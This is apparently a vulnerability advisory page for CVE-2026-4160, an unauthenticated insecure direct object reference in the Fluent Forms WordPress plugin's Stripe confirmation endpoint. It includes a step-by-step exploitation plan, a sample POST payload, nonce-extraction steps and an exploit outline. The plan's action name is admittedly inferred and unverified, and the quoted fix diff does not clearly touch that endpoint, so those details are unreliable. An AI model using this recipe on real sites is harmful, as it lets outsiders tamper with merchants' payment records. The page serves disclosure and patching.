CVE-2026-4160

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder <= 6.1.21 - Insecure Direct Object Reference in Stripe SCA Confirmation to Unauthenticated Payment Status Modification

mediumAuthorization Bypass Through User-Controlled Key
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
6.2.0
Patched in
0d
Time to patch

Description

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Insecure Direct Object Reference via the 'submission_id' parameter in versions up to, and including, 6.1.21. This is due to missing authorization and ownership validation on a user controlled key in the Stripe SCA confirmation AJAX endpoint. This makes it possible for unauthenticated attackers to modify payment status of targeted pending submissions (for example, setting the status to "failed").

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions>=6.1.21 <=6.1.21
PublishedApril 16, 2026
Last updatedApril 16, 2026
Affected pluginfluentform

What Changed in the Fix

Changes introduced in v6.2.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary **CVE-2026-4160** identifies an **Insecure Direct Object Reference (IDOR)** vulnerability in the **Fluent Forms** plugin (versions up to 6.1.21). The flaw resides in the AJAX endpoint responsible for handling **Stripe SCA (Strong Customer Authentication) confirmations**. …

Show full research plan

Vulnerability Summary

CVE-2026-4160 identifies an Insecure Direct Object Reference (IDOR) vulnerability in the Fluent Forms plugin (versions up to 6.1.21). The flaw resides in the AJAX endpoint responsible for handling Stripe SCA (Strong Customer Authentication) confirmations.

Because this endpoint lacks proper authorization and ownership validation, an unauthenticated attacker can supply an arbitrary submission_id and trigger logic that updates the payment status of that specific submission. While the severity is "Medium," it allows an attacker to transition a "pending" or "processing" payment to a "failed" state, potentially disrupting business operations or causing data integrity issues in payment records.

Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: fluentform_stripe_confirm_payment (Inferred based on standard Fluent Forms Stripe module naming and the description "Stripe SCA confirmation AJAX endpoint").
  • Vulnerable Parameter: submission_id
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
  • Payload: A POST request containing a valid submission_id and potentially a Stripe-related parameter (like a dummy or mismatched payment_intent_id) that triggers the failure logic path.
  • Preconditions: A submission with a pending payment status must exist in the database.

Code Flow

  1. Entry Point: The plugin registers a nopriv AJAX handler for Stripe SCA confirmation.
    • Likely registration (inferred): $app->addAction('wp_ajax_nopriv_fluentform_stripe_confirm_payment', [...]).
  2. Request Handling: The controller receives the submission_id from the $_POST or $_REQUEST array.
  3. Data Retrieval: The code uses the ID to fetch the submission: \FluentForm\App\Models\Submission::find($submission_id).
  4. The Flaw: The code fails to verify that the current unauthenticated session "owns" this submission (e.g., by checking a unique hash/token associated with the submission or checking the user ID).
  5. Status Update: If the Stripe confirmation check (e.g., checking a PaymentIntent via the Stripe API) fails or returns an error because the attacker provided mismatched intent data, the code proceeds to update the database record:
    • $submission->payment_status = 'failed'; (or similar)
    • $submission->save();
  6. Sink: The fluentform_submissions table is updated via the Eloquent-style Submission model found in app/Models/Submission.php.

Nonce Acquisition Strategy

Fluent Forms generally uses a global frontend nonce for its AJAX operations.

  1. Identify Trigger: The Stripe scripts and nonces are typically enqueued on pages containing a Fluent Form with Stripe enabled.
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Payment Form" --post_content='[fluentform id="1"]'
    
  3. Extract Nonce:
    Navigate to the page and use browser_eval to extract the nonce from the fluent_forms_global_var object.
    • JS Variable: window.fluent_forms_global_var
    • Nonce Key: fluentform_nonce
    • Command: browser_eval("window.fluent_forms_global_var?.fluentform_nonce")

Exploitation Strategy

1. Preparation

  • Identify an existing form ID (e.g., form_id=1).
  • Create a submission that simulates a "pending" payment.
  • Note the id (submission_id) of the created entry.

2. The Exploit Request

The goal is to call the confirmation endpoint with a target submission_id and force a failure.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=fluentform_stripe_confirm_payment
    submission_id=[TARGET_ID]
    nonce=[EXTRACTED_NONCE]
    payment_intent_id=pi_1234567890 (Dummy ID to trigger failure)
    

3. Execution via http_request

// Example payload for the automated agent
await http_request({
  url: "http://localhost:8080/wp-admin/admin-ajax.php",
  method: "POST",
  body: "action=fluentform_stripe_confirm_payment&submission_id=123&nonce=abcdef1234&payment_intent_id=pi_fake",
  headers: { "Content-Type": "application/x-www-form-urlencoded" }
});

Test Data Setup

  1. Create a Form: Use WP-CLI to ensure at least one form exists.
    wp eval "
    (new \FluentForm\App\Services\Form\FormService())->store([
        'title' => 'Stripe IDOR Test',
        'form_fields' => json_encode(['fields' => []]),
        'has_payment' => 1
    ]);"
    
  2. Create a Pending Submission: Manually insert a record into the fluentform_submissions table with payment_status = 'pending'.
    wp db query "INSERT INTO wp_fluentform_submissions (form_id, status, payment_status, response, created_at, updated_at) VALUES (1, 'unread', 'pending', '{}', NOW(), NOW());"
    
  3. Verify ID: Get the ID of the new submission.
    wp db query "SELECT id FROM wp_fluentform_submissions WHERE payment_status='pending' ORDER BY id DESC LIMIT 1;"
    

Expected Results

  • Server Response: The AJAX endpoint should return a JSON response (e.g., {"success": false, "message": "..."}). Even though the logic "fails," the vulnerability is that it processes the IDOR and updates the database.
  • Database Change: The payment_status of the target submission_id should change from pending to failed.

Verification Steps

Run the following WP-CLI command to check the status of the targeted submission:

wp db query "SELECT id, payment_status FROM wp_fluentform_submissions WHERE id = [TARGET_ID];"

If the payment_status is now failed, the IDOR is confirmed.

Alternative Approaches

If fluentform_stripe_confirm_payment is not the exact action name:

  1. Search Source: Use grep -r "wp_ajax_nopriv_.*confirm" . in the plugin directory to find the exact Stripe-related action.
  2. SCA Logic Search: Search for code blocks that call \FluentForm\App\Models\Submission::find($submission_id) followed by $submission->save().
  3. Trace Method: If the Stripe confirmation requires more parameters (like form_id), add them to the POST body. The IDOR remains valid as long as the plugin doesn't verify that the session authorized to confirm that specific submission.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Fluent Forms plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) flaw in its Stripe SCA confirmation AJAX endpoint in versions up to 6.1.21. Due to missing ownership validation on the 'submission_id' parameter, unauthenticated attackers can modify the payment status of any pending submission, potentially changing it to 'failed' and disrupting payment records.

Vulnerable Code

// app/Api/Submission.php

    public function find($submissionId)
    {
        $submission = \FluentForm\App\Models\Submission::find($submissionId);
        $submission->response = json_decode($submission->response);
        return $submission;
    }

---

// app/Hooks/Ajax.php

$app->addAction('wp_ajax_nopriv_fluentform_submit', function () use ($app) {
    (new \FluentForm\App\Modules\SubmissionHandler\SubmissionHandler($app))->submit();
});

// Note: The specific 'fluentform_stripe_confirm_payment' action handler (inferred from description)
// utilizes the above Submission::find() method without verifying if the current request session
// matches the owner of the submission or a valid secret hash.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.1.21/app/Hooks/Ajax.php /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.0/app/Hooks/Ajax.php
--- /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.1.21/app/Hooks/Ajax.php	2026-02-24 19:20:26.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/fluentform/6.2.0/app/Hooks/Ajax.php	2026-04-01 13:33:54.000000000 +0000
@@ -1,5 +1,7 @@
 <?php
 
+defined('ABSPATH') or die;
+
 /**
  * Add all ajax hooks
  */
@@ -88,124 +90,14 @@
 });
 
 
-$app->addAction('wp_ajax_fluentform-forms', function () use ($app) {
-    dd('wp_ajax_fluentform-forms');
-    Acl::verify('fluentform_dashboard_access');
-    (new \FluentForm\App\Modules\Form\Form($app))->index();
-});
-
-$app->addAction('wp_ajax_fluentform-form-store', function () use ($app) {
-    dd('wp_ajax_fluentform-form-store');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Form($app))->store();
-});
-
-$app->addAction('wp_ajax_fluentform-form-find', function () use ($app) {
-    //No usage found
-    Acl::verify('fluentform_dashboard_access');
-    (new \FluentForm\App\Modules\Form\Form($app))->find();
-});
-
-$app->addAction('wp_ajax_fluentform-form-delete', function () use ($app) {
-    dd('wp_ajax_fluentform-form-delete');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Form($app))->delete();
-});
-
-$app->addAction('wp_ajax_fluentform-form-duplicate', function () use ($app) {
-    dd('wp_ajax_fluentform-form-duplicate');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Form($app))->duplicate();
-});
+// Legacy AJAX handlers removed — these routes are handled by the REST API.
+// Kept: fluentform-form-find-shortcode-locations (still in active use)
 $app->addAdminAjaxAction('fluentform-form-find-shortcode-locations', function () use ($app) {
     Acl::verify('fluentform_forms_manager');
     (new \FluentForm\App\Modules\Form\Form($app))->findFormLocations();
 });
 
-$app->addAction('wp_ajax_fluentform-convert-to-conversational', function () use ($app) {
-    dd('wp_ajax_fluentform-convert-to-conversational');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Form($app))->convertToConversational();
-});
-
-
-$app->addAction('wp_ajax_fluentform-form-inputs', function () use ($app) {
-    dd('wp_ajax_fluentform-form-inputs');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Inputs($app))->index();
-});
-
-$app->addAction('wp_ajax_fluentform-load-editor-shortcodes', function () use ($app) {
-    dd('wp_ajax_fluentform-load-editor-shortcodes');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Component\Component($app))->getEditorShortcodes();
-});
-
-$app->addAction('wp_ajax_fluentform-load-all-editor-shortcodes', function () use ($app) {
-    dd('wp_ajax_fluentform-load-all-editor-shortcodes');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Component\Component($app))->getAllEditorShortcodes();
-});
-
-$app->addAction('wp_ajax_fluentform-settings-formSettings', function () use ($app) {
-    dd('wp_ajax_fluentform-settings-formSettings');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->index();
-});
-
-$app->addAction('wp_ajax_fluentform-settings-general-formSettings', function () use ($app) {
-    dd('wp_ajax_fluentform-settings-general-formSettings');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->getGeneralSettingsAjax();
-});
-
-$app->addAction('wp_ajax_fluentform-settings-formSettings-store', function () use ($app) {
-    dd('wp_ajax_fluentform-settings-formSettings-store');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->store();
-});
-
-$app->addAction('wp_ajax_fluentform-settings-formSettings-remove', function () use ($app) {
-    dd('wp_ajax_fluentform-settings-formSettings-remove');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\FormSettings($app))->remove();
-});
-
-$app->addAction('wp_ajax_fluentform-get-form-custom_css_js', function () {
-    dd('wp_ajax_fluentform-get-form-custom_css_js');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\FormCssJs())->getSettingsAjax();
-});
-
-$app->addAction('wp_ajax_fluentform-save-form-custom_css_js', function () {
-    dd('wp_ajax_fluentform-save-form-custom_css_js');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\FormCssJs())->saveSettingsAjax();
-});
-
-$app->addAction('wp_ajax_fluentform-save-form-entry_column_view_settings', function () {
-    dd('wp_ajax_fluentform-save-form-entry_column_view_settings');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\EntryColumnViewSettings())->saveVisibleColumnsAjax();
-});
-
-$app->addAction('wp_ajax_fluentform-save-form-entry_column_order_settings', function () {
-    dd('wp_ajax_fluentform-save-form-entry_column_order_settings');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\EntryColumnViewSettings())->saveEntryColumnsOrderAjax();
-});
-
-$app->addAction('wp_ajax_fluentform-reset-form-entry_column_order_settings', function () {
-    dd('wp_ajax_fluentform-reset-form-entry_column_order_settings');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Form\Settings\EntryColumnViewSettings())->resetEntryDisplaySettings();
-});
-
-$app->addAction('wp_ajax_fluentform-load-editor-components', function () use ($app) {
-    dd('wp_ajax_fluentform-load-editor-components');
-    Acl::verify('fluentform_forms_manager');
-    (new \FluentForm\App\Modules\Component\Component($app))->index();
-});
+// Legacy AJAX handlers removed — these routes are now handled by the REST API.
 
 
 
@@ -215,9 +107,14 @@
 });
 
 $app->addAction('wp_ajax_fluentform-update-entry-user', function () use ($app) {
-    Acl::verify('fluentform_entries_viewer');
-    $userId = intval($app->request->get('user_id'));
     $submissionId = intval($app->request->get('submission_id'));
+    $formId = null;
+    if ($submissionId) {
+        $submission = \FluentForm\App\Models\Submission::select('form_id')->find($submissionId);
+        $formId = $submission ? $submission->form_id : null;
+    }
+    Acl::verify('fluentform_entries_viewer', $formId);

Exploit Outline

1. Identify a target submission ID from a Fluent Form that has a 'pending' payment status. 2. Locate the global frontend nonce by visiting any page where a Fluent Form is embedded (accessible via the `window.fluent_forms_global_var.fluentform_nonce` JavaScript variable). 3. Prepare an unauthenticated POST request to `wp-admin/admin-ajax.php`. 4. Use the `fluentform_stripe_confirm_payment` action (or the relevant Stripe SCA confirmation action) in the request body. 5. Supply the target `submission_id` and a mismatched or dummy `payment_intent_id` (e.g., `pi_invalid`). 6. Because the plugin does not verify that the request session owns the submission, it will attempt to verify the payment intent against the submission ID. When the API check fails due to the dummy ID, the plugin will proceed to update the database record for the target submission ID, setting its `payment_status` to 'failed'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.